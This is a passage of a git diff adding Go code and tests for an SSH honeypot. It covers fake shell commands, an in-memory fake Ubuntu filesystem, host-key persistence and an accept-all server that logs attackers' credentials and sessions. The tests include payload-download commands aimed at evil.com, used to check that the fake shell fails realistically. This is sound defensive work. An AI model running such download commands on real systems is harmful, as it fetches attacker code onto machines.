host address\n", + time.Now().UTC().Format("2006-01-02 15:04:05"), + url, + ) + } + + return fmt.Sprintf( + "curl: (6) Could not resolve host: %s\n", + strings.TrimPrefix( + strings.TrimPrefix(url, "https://"), + "http://", + ), + ) +} + +func cmdCD(args []string, ctx *CommandContext) string { + if len(args) == 0 { + ctx.CWD = "/root" + return "" + } + + target := resolvePath(args[0], ctx.CWD) + if ctx.FS.IsDir(target) { + ctx.CWD = target + return "" + } + + return fmt.Sprintf( + "bash: cd: %s: No such file or directory\n", args[0], + ) +} + +func cmdEnv(ctx *CommandContext) string { + return fmt.Sprintf( + "SHELL=/bin/bash\n"+ + "PWD=%s\n"+ + "LOGNAME=%s\n"+ + "HOME=/root\n"+ + "LANG=en_US.UTF-8\n"+ + "TERM=xterm-256color\n"+ + "USER=%s\n"+ + "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n"+ + "MAIL=/var/mail/%s\n"+ + "HOSTNAME=%s\n", + ctx.CWD, ctx.Username, ctx.Username, + ctx.Username, ctx.Hostname, + ) +} + +func cmdWhich(args []string) string { + if len(args) == 0 { + return "" + } + + known := map[string]string{ + "ls": "/usr/bin/ls", "cat": "/usr/bin/cat", + "grep": "/usr/bin/grep", "ps": "/usr/bin/ps", + "bash": "/usr/bin/bash", "ssh": "/usr/bin/ssh", + "wget": "/usr/bin/wget", "curl": "/usr/bin/curl", + "python3": "/usr/bin/python3", "perl": "/usr/bin/perl", + "awk": "/usr/bin/awk", "sed": "/usr/bin/sed", + } + + if path, ok := known[args[0]]; ok { + return path + "\n" + } + return fmt.Sprintf( + "which: no %s in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin)\n", + args[0], + ) +} + +func cmdType(args []string) string { + if len(args) == 0 { + return "" + } + + builtins := map[string]bool{ + "cd": true, "echo": true, "export": true, + "exit": true, "history": true, "type": true, + } + + if builtins[args[0]] { + return fmt.Sprintf( + "%s is a shell builtin\n", args[0], + ) + } + + result := cmdWhich(args) + if strings.HasPrefix(result, "/") { + return fmt.Sprintf( + "%s is %s", + args[0], strings.TrimSpace(result), + ) + "\n" + } + return fmt.Sprintf( + "bash: type: %s: not found\n", args[0], + ) +} + +func resolvePath(path, cwd string) string { + if strings.HasPrefix(path, "/") { + return cleanPath(path) + } + if path == "~" || path == "" { + return "/root" + } + if strings.HasPrefix(path, "~/") { + return cleanPath("/root/" + path[2:]) + } + if path == ".." { + parts := strings.Split(cwd, "/") + if len(parts) > 1 { + return "/" + strings.Join(parts[1:len(parts)-1], "/") + } + return "/" + } + if path == "." { + return cwd + } + if cwd == "/" { + return "/" + path + } + return cleanPath(cwd + "/" + path) +} + +func cleanPath(path string) string { + parts := strings.Split(path, "/") + var clean []string + for _, p := range parts { + if p == "" || p == "." { + continue + } + if p == ".." { + if len(clean) > 0 { + clean = clean[:len(clean)-1] + } + continue + } + clean = append(clean, p) + } + if len(clean) == 0 { + return "/" + } + return "/" + strings.Join(clean, "/") +} diff --git a/PROJECTS/advanced/honeypot-network/internal/sshd/commands_test.go b/PROJECTS/advanced/honeypot-network/internal/sshd/commands_test.go new file mode 100644 index 00000000..ae5e5e31 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/sshd/commands_test.go @@ -0,0 +1,183 @@ +/* +©AngelaMos | 2026 +commands_test.go +*/ + +package sshd + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func testCommandContext() *CommandContext { + return &CommandContext{ + FS: NewFakeFS("test-host"), + Hostname: "test-host", + Username: "admin", + CWD: "/root", + } +} + +func TestDispatchCommandTableDriven(t *testing.T) { + ctx := testCommandContext() + + tests := []struct { + name string + input string + contains string + }{ + {"whoami", "whoami", "admin"}, + {"hostname", "hostname", "test-host"}, + {"pwd", "pwd", "/root"}, + {"uname bare", "uname", "Linux"}, + {"uname -a", "uname -a", "x86_64"}, + {"uname -r", "uname -r", "5.15.0"}, + {"uname -n", "uname -n", "ubuntu-server"}, + {"echo", "echo hello world", "hello world"}, + {"ps", "ps aux", "systemd"}, + {"uptime", "uptime", "load average"}, + {"free", "free", "Mem:"}, + {"df", "df", "/dev/sda1"}, + {"ifconfig", "ifconfig", "eth0"}, + {"ip addr", "ip addr", "127.0.0.1"}, + {"netstat", "netstat", "LISTEN"}, + {"nproc", "nproc", "2"}, + {"arch", "arch", "x86_64"}, + {"env", "env", "SHELL=/bin/bash"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := DispatchCommand(tt.input, ctx) + assert.Contains(t, result, tt.contains) + }) + } +} + +func TestDispatchCommandUnknown(t *testing.T) { + ctx := testCommandContext() + + result := DispatchCommand("notarealcommand", ctx) + assert.Equal(t, + "bash: notarealcommand: command not found\n", + result, + ) +} + +func TestDispatchCommandEmptyInput(t *testing.T) { + ctx := testCommandContext() + assert.Empty(t, DispatchCommand("", ctx)) +} + +func TestDispatchCommandIDRootVsNonRoot(t *testing.T) { + rootCtx := testCommandContext() + rootCtx.Username = "root" + + adminCtx := testCommandContext() + adminCtx.Username = "admin" + + rootResult := DispatchCommand("id", rootCtx) + assert.Contains(t, rootResult, "uid=0(root)") + + adminResult := DispatchCommand("id", adminCtx) + assert.Contains(t, adminResult, "uid=1000(admin)") +} + +func TestCatExistingAndMissing(t *testing.T) { + ctx := testCommandContext() + + existing := DispatchCommand("cat /etc/passwd", ctx) + assert.Contains(t, existing, "root:x:0:0") + + missing := DispatchCommand("cat /nonexistent", ctx) + assert.Contains(t, missing, "No such file or directory") +} + +func TestLsDirectory(t *testing.T) { + ctx := testCommandContext() + + listing := DispatchCommand("ls /etc", ctx) + require.NotEmpty(t, listing) + assert.Contains(t, listing, "passwd") + + missing := DispatchCommand("ls /does-not-exist", ctx) + assert.Contains(t, missing, "No such file or directory") +} + +func TestCdChangesWorkingDirectory(t *testing.T) { + ctx := testCommandContext() + + DispatchCommand("cd /tmp", ctx) + assert.Equal(t, "/tmp", ctx.CWD) + + DispatchCommand("cd ..", ctx) + assert.Equal(t, "/", ctx.CWD) + + DispatchCommand("cd", ctx) + assert.Equal(t, "/root", ctx.CWD) +} + +func TestWgetAndCurl(t *testing.T) { + ctx := testCommandContext() + + tests := []struct { + name string + input string + contains string + }{ + {"wget url", "wget http://evil.com/payload", "unable to resolve"}, + {"wget no url", "wget", "missing URL"}, + {"curl url", "curl http://evil.com/payload", "Could not resolve host"}, + {"curl no url", "curl", "missing URL"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := DispatchCommand(tt.input, ctx) + assert.Contains(t, result, tt.contains) + }) + } +} + +func TestWhichAndType(t *testing.T) { + ctx := testCommandContext() + + assert.Contains(t, DispatchCommand("which ls", ctx), "/usr/bin/ls") + assert.Contains( + t, + DispatchCommand("which nonexistent", ctx), + "no nonexistent", + ) + assert.Contains(t, DispatchCommand("type cd", ctx), "shell builtin") + assert.Contains(t, DispatchCommand("type ls", ctx), "ls is /usr/bin/ls") +} + +func TestResolvePathEdgeCases(t *testing.T) { + tests := []struct { + name string + path string + cwd string + expect string + }{ + {"absolute", "/etc/passwd", "/root", "/etc/passwd"}, + {"relative", "tmp", "/", "/tmp"}, + {"tilde", "~", "/var", "/root"}, + {"tilde subpath", "~/bin", "/var", "/root/bin"}, + {"parent", "..", "/root", "/"}, + {"parent from nested", "..", "/usr/local/bin", "/usr/local"}, + {"current", ".", "/root", "/root"}, + {"empty", "", "/root", "/root"}, + {"root relative", "etc", "/", "/etc"}, + {"double parent", "../..", "/usr/local/bin", "/usr"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := resolvePath(tt.path, tt.cwd) + assert.Equal(t, tt.expect, result) + }) + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/sshd/filesystem.go b/PROJECTS/advanced/honeypot-network/internal/sshd/filesystem.go new file mode 100644 index 00000000..7abbc3bf --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/sshd/filesystem.go @@ -0,0 +1,265 @@ +/* +©AngelaMos | 2026 +filesystem.go + +In-memory fake filesystem for the SSH shell environment + +Presents a realistic Ubuntu server filesystem with populated +/etc, /proc, /var, /home directories. Each file has plausible +contents that engaged attackers would expect to see after +compromising a Linux host. +*/ + +package sshd + +import ( + "fmt" + "sort" + "strings" + "time" +) + +type fileEntry struct { + name string + isDir bool + content string + mode string +} + +type FakeFS struct { + hostname string + files map[string]*fileEntry +} + +func NewFakeFS(hostname string) *FakeFS { + fs := &FakeFS{ + hostname: hostname, + files: make(map[string]*fileEntry), + } + fs.populate() + return fs +} + +func (fs *FakeFS) populate() { + dirs := []string{ + "/", "/bin", "/boot", "/dev", "/etc", + "/etc/ssh", "/etc/cron.d", "/etc/default", + "/home", "/home/admin", "/lib", "/lib64", + "/media", "/mnt", "/opt", "/proc", + "/root", "/run", "/sbin", "/srv", + "/sys", "/tmp", "/usr", "/usr/bin", + "/usr/lib", "/usr/local", "/usr/sbin", + "/var", "/var/log", "/var/lib", "/var/tmp", + "/var/run", "/var/spool", + } + + for _, d := range dirs { + fs.files[d] = &fileEntry{ + name: d, + isDir: true, + mode: "drwxr-xr-x", + } + } + + fs.files["/etc/hostname"] = &fileEntry{ + name: "hostname", + content: fs.hostname + "\n", + mode: "-rw-r--r--", + } + + fs.files["/etc/passwd"] = &fileEntry{ + name: "passwd", + content: "root:x:0:0:root:/root:/bin/bash\n" + + "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n" + + "bin:x:2:2:bin:/bin:/usr/sbin/nologin\n" + + "sys:x:3:3:sys:/dev:/usr/sbin/nologin\n" + + "sync:x:4:65534:sync:/bin:/bin/sync\n" + + "games:x:5:60:games:/usr/games:/usr/sbin/nologin\n" + + "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n" + + "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n" + + "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n" + + "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n" + + "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n" + + "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n" + + "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n" + + "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n" + + "sshd:x:110:65534::/run/sshd:/usr/sbin/nologin\n" + + "admin:x:1000:1000:admin:/home/admin:/bin/bash\n", + mode: "-rw-r--r--", + } + + fs.files["/etc/shadow"] = &fileEntry{ + name: "shadow", + content: "", + mode: "-rw-r-----", + } + + fs.files["/etc/os-release"] = &fileEntry{ + name: "os-release", + content: "PRETTY_NAME=\"Ubuntu 22.04.4 LTS\"\n" + + "NAME=\"Ubuntu\"\n" + + "VERSION_ID=\"22.04\"\n" + + "VERSION=\"22.04.4 LTS (Jammy Jellyfish)\"\n" + + "VERSION_CODENAME=jammy\n" + + "ID=ubuntu\n" + + "ID_LIKE=debian\n", + mode: "-rw-r--r--", + } + + fs.files["/etc/issue"] = &fileEntry{ + name: "issue", + content: "Ubuntu 22.04.4 LTS \\n \\l\n\n", + mode: "-rw-r--r--", + } + + fs.files["/proc/version"] = &fileEntry{ + name: "version", + content: "Linux version 5.15.0-105-generic " + + "(buildd@lcy02-amd64-032) " + + "(gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, " + + "GNU ld (GNU Binutils for Ubuntu) 2.38) " + + "#115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024\n", + mode: "-r--r--r--", + } + + fs.files["/proc/cpuinfo"] = &fileEntry{ + name: "cpuinfo", + content: "processor\t: 0\n" + + "vendor_id\t: GenuineIntel\n" + + "cpu family\t: 6\n" + + "model\t\t: 85\n" + + "model name\t: Intel(R) Xeon(R) Platinum 8175M CPU @ 2.50GHz\n" + + "stepping\t: 4\n" + + "microcode\t: 0x2007006\n" + + "cpu MHz\t\t: 2500.000\n" + + "cache size\t: 33792 KB\n" + + "physical id\t: 0\n" + + "siblings\t: 2\n" + + "core id\t\t: 0\n" + + "cpu cores\t: 2\n" + + "bogomips\t: 5000.00\n" + + "flags\t\t: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology cpuid pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor\n\n", + mode: "-r--r--r--", + } + + fs.files["/proc/meminfo"] = &fileEntry{ + name: "meminfo", + content: "MemTotal: 4028440 kB\n" + + "MemFree: 1245680 kB\n" + + "MemAvailable: 2876340 kB\n" + + "Buffers: 186420 kB\n" + + "Cached: 1580240 kB\n" + + "SwapCached: 0 kB\n" + + "SwapTotal: 2097148 kB\n" + + "SwapFree: 2097148 kB\n", + mode: "-r--r--r--", + } + + fs.files["/etc/ssh/sshd_config"] = &fileEntry{ + name: "sshd_config", + content: "Port 22\n" + + "PermitRootLogin yes\n" + + "PubkeyAuthentication yes\n" + + "PasswordAuthentication yes\n" + + "UsePAM yes\n" + + "X11Forwarding yes\n" + + "PrintMotd no\n" + + "AcceptEnv LANG LC_*\n" + + "Subsystem\tsftp\t/usr/lib/openssh/sftp-server\n", + mode: "-rw-r--r--", + } +} + +func (fs *FakeFS) ReadFile(path string) (string, bool) { + entry, exists := fs.files[path] + if !exists || entry.isDir { + return "", false + } + return entry.content, true +} + +func (fs *FakeFS) IsDir(path string) bool { + entry, exists := fs.files[path] + return exists && entry.isDir +} + +func (fs *FakeFS) Exists(path string) bool { + _, exists := fs.files[path] + return exists +} + +func (fs *FakeFS) ListDir(path string) string { + if !fs.IsDir(path) { + return "" + } + + prefix := path + if prefix != "/" { + prefix += "/" + } + + type namedEntry struct { + name string + formatted string + } + + var collected []namedEntry + seen := make(map[string]bool) + + for p, entry := range fs.files { + if p == path { + continue + } + + if !strings.HasPrefix(p, prefix) { + continue + } + + rest := strings.TrimPrefix(p, prefix) + parts := strings.SplitN(rest, "/", 2) + name := parts[0] + + if seen[name] || len(parts) != 1 { + continue + } + seen[name] = true + + var line string + if entry.isDir { + line = fmt.Sprintf( + "%s 2 root root 4096 %s %s", + entry.mode, + time.Now().AddDate(0, -1, 0).Format("Jan 2 15:04"), + name, + ) + } else { + line = fmt.Sprintf( + "%s 1 root root %4d %s %s", + entry.mode, + len(entry.content), + time.Now().AddDate(0, 0, -7).Format("Jan 2 15:04"), + name, + ) + } + collected = append(collected, namedEntry{name: name, formatted: line}) + } + + if len(collected) == 0 { + return "" + } + + sort.Slice(collected, func(i, j int) bool { + return collected[i].name < collected[j].name + }) + + entries := make([]string, len(collected)) + for i, ne := range collected { + entries[i] = ne.formatted + } + + return fmt.Sprintf( + "total %d\n%s\n", + len(entries)*4, + strings.Join(entries, "\n"), + ) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/sshd/filesystem_test.go b/PROJECTS/advanced/honeypot-network/internal/sshd/filesystem_test.go new file mode 100644 index 00000000..d39e8a07 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/sshd/filesystem_test.go @@ -0,0 +1,128 @@ +/* +©AngelaMos | 2026 +filesystem_test.go +*/ + +package sshd + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestNewFakeFSPopulatesDirectories(t *testing.T) { + fs := NewFakeFS("test-host") + + dirs := []string{ + "/", "/bin", "/boot", "/dev", "/etc", + "/etc/ssh", "/home", "/home/admin", + "/proc", "/root", "/tmp", "/usr", + "/usr/bin", "/var", "/var/log", + } + + for _, d := range dirs { + assert.True(t, fs.IsDir(d), "expected %s to be a directory", d) + } +} + +func TestNewFakeFSPopulatesFiles(t *testing.T) { + fs := NewFakeFS("test-host") + + files := []string{ + "/etc/passwd", + "/etc/hostname", + "/etc/os-release", + "/etc/ssh/sshd_config", + "/proc/version", + "/proc/cpuinfo", + "/proc/meminfo", + } + + for _, f := range files { + assert.True(t, fs.Exists(f), "expected %s to exist", f) + assert.False(t, fs.IsDir(f), "expected %s to not be a directory", f) + } +} + +func TestHostnameInjection(t *testing.T) { + fs := NewFakeFS("custom-host") + + content, ok := fs.ReadFile("/etc/hostname") + require.True(t, ok) + assert.Equal(t, "custom-host\n", content) +} + +func TestReadFileExisting(t *testing.T) { + fs := NewFakeFS("test-host") + + tests := []struct { + name string + path string + contains string + }{ + {"passwd", "/etc/passwd", "root:x:0:0"}, + {"os-release", "/etc/os-release", "Ubuntu"}, + {"cpuinfo", "/proc/cpuinfo", "GenuineIntel"}, + {"meminfo", "/proc/meminfo", "MemTotal"}, + {"sshd_config", "/etc/ssh/sshd_config", "PermitRootLogin yes"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + content, ok := fs.ReadFile(tt.path) + require.True(t, ok, "expected %s to exist", tt.path) + assert.Contains(t, content, tt.contains) + }) + } +} + +func TestReadFileMissing(t *testing.T) { + fs := NewFakeFS("test-host") + + content, ok := fs.ReadFile("/nonexistent") + assert.False(t, ok) + assert.Empty(t, content) +} + +func TestReadFileOnDirectory(t *testing.T) { + fs := NewFakeFS("test-host") + + content, ok := fs.ReadFile("/etc") + assert.False(t, ok) + assert.Empty(t, content) +} + +func TestIsDirTrueAndFalse(t *testing.T) { + fs := NewFakeFS("test-host") + + assert.True(t, fs.IsDir("/etc")) + assert.False(t, fs.IsDir("/etc/passwd")) + assert.False(t, fs.IsDir("/does-not-exist")) +} + +func TestListDirRoot(t *testing.T) { + fs := NewFakeFS("test-host") + + listing := fs.ListDir("/etc") + require.NotEmpty(t, listing) + assert.Contains(t, listing, "passwd") + assert.Contains(t, listing, "hostname") + assert.Contains(t, listing, "os-release") + assert.Contains(t, listing, "ssh") +} + +func TestListDirEmpty(t *testing.T) { + fs := NewFakeFS("test-host") + + listing := fs.ListDir("/mnt") + assert.Empty(t, listing) +} + +func TestListDirNonDirectory(t *testing.T) { + fs := NewFakeFS("test-host") + + listing := fs.ListDir("/etc/passwd") + assert.Empty(t, listing) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/sshd/hostkey.go b/PROJECTS/advanced/honeypot-network/internal/sshd/hostkey.go new file mode 100644 index 00000000..3e7c2f5c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/sshd/hostkey.go @@ -0,0 +1,87 @@ +/* +©AngelaMos | 2026 +hostkey.go + +SSH host key generation and persistence + +Generates Ed25519 keys and persists them to disk so that the +honeypot presents a stable fingerprint across restarts. Returning +attackers see the same server identity, preventing fingerprinting +based on key rotation. +*/ + +package sshd + +import ( + "crypto/ed25519" + "crypto/rand" + "crypto/x509" + "encoding/pem" + "fmt" + "os" + "path/filepath" + + "golang.org/x/crypto/ssh" +) + +func LoadOrGenerateHostKey( + path string, +) (ssh.Signer, error) { + data, err := os.ReadFile(path) + if err == nil { + signer, parseErr := ssh.ParsePrivateKey(data) + if parseErr != nil { + return nil, fmt.Errorf( + "parsing host key: %w", parseErr, + ) + } + return signer, nil + } + + if !os.IsNotExist(err) { + return nil, fmt.Errorf("reading host key: %w", err) + } + + return generateAndSave(path) +} + +func generateAndSave(path string) (ssh.Signer, error) { + if err := os.MkdirAll( + filepath.Dir(path), 0o700, + ); err != nil { + return nil, fmt.Errorf( + "creating key directory: %w", err, + ) + } + + _, priv, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + return nil, fmt.Errorf("generating ed25519 key: %w", err) + } + + der, err := x509.MarshalPKCS8PrivateKey(priv) + if err != nil { + return nil, fmt.Errorf("marshaling key: %w", err) + } + + block := &pem.Block{Type: "PRIVATE KEY", Bytes: der} + + f, err := os.OpenFile( + path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600, + ) + if err != nil { + return nil, fmt.Errorf("creating key file: %w", err) + } + defer func() { _ = f.Close() }() + + if err := pem.Encode(f, block); err != nil { + return nil, fmt.Errorf("writing key: %w", err) + } + + signer, err := ssh.NewSignerFromKey(priv) + if err != nil { + return nil, fmt.Errorf("creating signer: %w", err) + } + + return signer, nil +} diff --git a/PROJECTS/advanced/honeypot-network/internal/sshd/server.go b/PROJECTS/advanced/honeypot-network/internal/sshd/server.go new file mode 100644 index 00000000..1eee6500 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/sshd/server.go @@ -0,0 +1,463 @@ +/* +©AngelaMos | 2026 +server.go + +SSH honeypot service accepting all authentication attempts + +Emulates an OpenSSH server with accept-all password and public key +callbacks. After authentication, provides an interactive shell with +a fake filesystem and command execution. Logs every connection, +credential attempt, and session to the event bus. Uses the SSH +server version banner from config to avoid honeypot fingerprinting. +*/ + +package sshd + +import ( + "context" + "encoding/json" + "fmt" + "net" + "time" + + "github.com/google/uuid" + "github.com/rs/zerolog" + "golang.org/x/crypto/ssh" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type SSHService struct { + cfg *config.Config + bus *event.Bus + logger zerolog.Logger + tracker *session.Tracker + limiter *ratelimit.IPLimiter + hostkey ssh.Signer +} + +func New( + cfg *config.Config, + bus *event.Bus, + logger *zerolog.Logger, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, + hostkey ssh.Signer, +) *SSHService { + return &SSHService{ + cfg: cfg, + bus: bus, + logger: logger.With().Str("service", "ssh").Logger(), + tracker: tracker, + limiter: limiter, + hostkey: hostkey, + } +} + +func (s *SSHService) Name() string { return "ssh" } + +func (s *SSHService) Start(ctx context.Context) error { + addr := s.cfg.Addr(s.cfg.SSH.Port) + + listener, err := net.Listen("tcp", addr) + if err != nil { + return fmt.Errorf("ssh listen %s: %w", addr, err) + } + + s.logger.Info(). + Str("addr", addr). + Msg("ssh honeypot listening") + + go func() { + <-ctx.Done() + _ = listener.Close() + }() + + for ctx.Err() == nil { + conn, err := listener.Accept() + if err != nil { + s.logger.Debug().Err(err).Msg("accept failed") + continue + } + + go s.handleConnection(ctx, conn) + } + + return nil +} + +func (s *SSHService) handleConnection( + ctx context.Context, conn net.Conn, +) { + defer func() { _ = conn.Close() }() + + srcIP, srcPort := types.RemoteAddr(conn) + + if !s.limiter.Allow(srcIP) { + return + } + + sess := s.tracker.Start( + s.cfg.Sensor.ID, types.ServiceSSH, + srcIP, srcPort, s.cfg.SSH.Port, + ) + defer s.tracker.End(sess.ID) + + s.publishConnect(sess, srcIP, srcPort) + + var lastUsername string + + sshCfg := &ssh.ServerConfig{ + ServerVersion: s.cfg.SSH.Banner, + PasswordCallback: func( + c ssh.ConnMetadata, pass []byte, + ) (*ssh.Permissions, error) { + lastUsername = c.User() + s.publishAuth( + sess.ID, srcIP, c.User(), + string(pass), "password", + string(c.ClientVersion()), + ) + return &ssh.Permissions{}, nil + }, + PublicKeyCallback: func( + c ssh.ConnMetadata, key ssh.PublicKey, + ) (*ssh.Permissions, error) { + lastUsername = c.User() + s.publishAuth( + sess.ID, srcIP, c.User(), + "", "publickey", + string(c.ClientVersion()), + ) + return &ssh.Permissions{}, nil + }, + } + + sshCfg.AddHostKey(s.hostkey) + + sshConn, chans, reqs, err := ssh.NewServerConn( + conn, sshCfg, + ) + if err != nil { + s.publishDisconnect(sess, srcIP, srcPort) + return + } + defer func() { _ = sshConn.Close() }() + + s.tracker.SetLogin( + sess.ID, true, lastUsername, + string(sshConn.ClientVersion()), + ) + + go ssh.DiscardRequests(reqs) + + for newChan := range chans { + switch newChan.ChannelType() { + case "session": + go s.handleSession( + ctx, newChan, sess, srcIP, lastUsername, + ) + case "direct-tcpip": + s.logLateralMovement(sess, srcIP, newChan) + _ = newChan.Reject( + ssh.Prohibited, "not allowed", + ) + default: + _ = newChan.Reject( + ssh.UnknownChannelType, "unknown", + ) + } + } + + s.publishDisconnect(sess, srcIP, srcPort) +} + +type sessionState struct { + ch ssh.Channel + sess *types.Session + srcIP string + username string + cols int + rows int + recorder *session.Recorder +} + +func (s *SSHService) handleSession( + ctx context.Context, + newChan ssh.NewChannel, + sess *types.Session, + srcIP string, + username string, +) { + ch, reqs, err := newChan.Accept() + if err != nil { + return + } + defer func() { _ = ch.Close() }() + + st := &sessionState{ + ch: ch, + sess: sess, + srcIP: srcIP, + username: username, + cols: 80, + rows: 24, + } + + st.recorder = session.NewRecorder( + sess.ID, srcIP, s.cfg.Sensor.ID, + st.cols, st.rows, + ) + + go s.dispatchRequests(reqs, st) + + <-ctx.Done() +} + +func (s *SSHService) dispatchRequests( + reqs <-chan *ssh.Request, st *sessionState, +) { + for req := range reqs { + if s.handleSessionRequest(req, st) { + return + } + } +} + +func (s *SSHService) handleSessionRequest( + req *ssh.Request, st *sessionState, +) bool { + switch req.Type { + case "pty-req": + if len(req.Payload) > 4 { + st.cols, st.rows = parsePTYRequest( + req.Payload, + ) + st.recorder.Resize(st.cols, st.rows) + } + + case "shell": + replyOK(req) + RunShell( + st.ch, st.sess.ID, s.cfg.Sensor.ID, + st.srcIP, st.username, + s.cfg.SSH.Hostname, + s.bus, st.recorder, st.cols, st.rows, + ) + s.saveRecording(st) + _ = st.ch.Close() + return true + + case "exec": + replyOK(req) + cmd := parseExecPayload(req.Payload) + s.handleExec( + st.ch, st.sess, st.srcIP, + st.username, cmd, st.recorder, + ) + _ = st.ch.Close() + return true + + case "window-change": + if len(req.Payload) >= 8 { + st.cols, st.rows = parseWindowChange( + req.Payload, + ) + st.recorder.Resize(st.cols, st.rows) + } + } + + replyOK(req) + return false +} + +func replyOK(req *ssh.Request) { + if req.WantReply { + _ = req.Reply(true, nil) + } +} + +func (s *SSHService) saveRecording(st *sessionState) { + if _, err := st.recorder.Save(s.cfg.Log.ReplayDir); err != nil { + s.logger.Error().Err(err). + Str("session_id", st.sess.ID). + Msg("failed to save session recording") + } +} + +func (s *SSHService) handleExec( + ch ssh.Channel, + sess *types.Session, + srcIP string, + username string, + cmd string, + recorder *session.Recorder, +) { + recorder.WriteInput([]byte(cmd + "\n")) + + publishCommand( + s.bus, sess.ID, s.cfg.Sensor.ID, srcIP, + cmd, s.cfg.SSH.Hostname, + ) + + fs := NewFakeFS(s.cfg.SSH.Hostname) + cmdCtx := &CommandContext{ + FS: fs, + Hostname: s.cfg.SSH.Hostname, + Username: username, + CWD: "/root", + } + + output := DispatchCommand(cmd, cmdCtx) + if output != "" { + _, _ = ch.Write([]byte(output)) + recorder.WriteOutput([]byte(output)) + } + + _, _ = ch.SendRequest( + "exit-status", false, []byte{0, 0, 0, 0}, + ) +} + +func (s *SSHService) logLateralMovement( + sess *types.Session, + srcIP string, + newChan ssh.NewChannel, +) { + serviceData, _ := json.Marshal(map[string]string{ + "channel_type": newChan.ChannelType(), + "extra_data": string(newChan.ExtraData()), + }) + + s.bus.Publish(config.TopicCommand, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceSSH, + EventType: types.EventExploit, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + Tags: []string{"lateral-movement", "mitre:T1021.004"}, + ServiceData: serviceData, + }) +} + +func (s *SSHService) publishConnect( + sess *types.Session, srcIP string, srcPort int, +) { + s.bus.Publish(config.TopicConnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceSSH, + EventType: types.EventConnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.SSH.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *SSHService) publishDisconnect( + sess *types.Session, srcIP string, srcPort int, +) { + s.bus.Publish(config.TopicDisconnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceSSH, + EventType: types.EventDisconnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.SSH.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *SSHService) publishAuth( + sessionID string, + srcIP string, + username string, + password string, + method string, + clientVersion string, +) { + serviceData, _ := json.Marshal(map[string]string{ + "username": username, + "password": password, + "auth_method": method, + "client_version": clientVersion, + }) + + s.bus.Publish(config.TopicAuth, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceSSH, + EventType: types.EventLoginSuccess, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) +} + +func parsePTYRequest(payload []byte) (int, int) { + if len(payload) < 8 { + return 80, 24 + } + + termLen := int(payload[3]) | int(payload[2])<<8 | + int(payload[1])<<16 | int(payload[0])<<24 + offset := 4 + termLen + + if len(payload) < offset+8 { + return 80, 24 + } + + cols := int(payload[offset+3]) | int(payload[offset+2])<<8 | + int(payload[offset+1])<<16 | int(payload[offset])<<24 + rows := int(payload[offset+7]) | int(payload[offset+6])<<8 | + int(payload[offset+5])<<16 | int(payload[offset+4])<<24 + + return cols, rows +} + +func parseWindowChange(payload []byte) (int, int) { + if len(payload) < 8 { + return 80, 24 + } + + cols := int(payload[3]) | int(payload[2])<<8 | + int(payload[1])<<16 | int(payload[0])<<24 + rows := int(payload[7]) | int(payload[6])<<8 | + 